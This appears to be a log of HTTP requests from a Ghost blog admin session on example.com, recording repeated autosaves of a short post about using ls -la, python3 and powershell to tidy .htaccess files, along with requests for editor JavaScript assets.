started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8147", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "GET", "target": "/ghost/assets/code-editor-view-BY_ieC4h.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dist-CxXAu_cv.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dist-DbQ0Bmfy.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dist-D9v2t9Oj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dist-DOtgfBo2.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8206", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8145", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8330", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use 